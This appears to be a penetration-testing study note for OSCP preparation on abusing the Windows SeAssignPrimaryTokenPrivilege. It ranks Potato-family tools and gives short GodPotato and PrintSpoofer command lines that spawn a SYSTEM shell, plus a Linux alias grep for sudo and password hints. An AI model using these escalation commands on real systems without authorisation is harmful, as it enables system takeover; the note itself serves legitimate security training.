SeAssignPrimaryTokenPrivilege

Ctrl+F: SeAssignPrimaryTokenPrivilege · Potato · GodPotato · whoami /priv

Why: Allows a process to assign a primary token when creating a new process — same practical abuse as SeImpersonatePrivilege for OSCP: Potato tools steal SYSTEM token and spawn a shell.

whoami /priv
REM SeAssignPrimaryTokenPrivilege   Enabled

→ Windows Privileges - OSCP Priority Hub · Potato Attacks

---

📌 Exploit path

Priority	Tool
1	GodPotato
2	PrintSpoofer
3	SigmaPotato / RoguePotato / JuicyPotato

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmd

Often appears with SeImpersonate on service accounts (IIS, SQL).

→ SeImpersonatePrivilege · IIS

---

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

→ Linux > 📌 1) Basic Manual Enumeration

---

Related Notes

• Potato Attacks
• Windows PrivEsc
• PrintSpoofer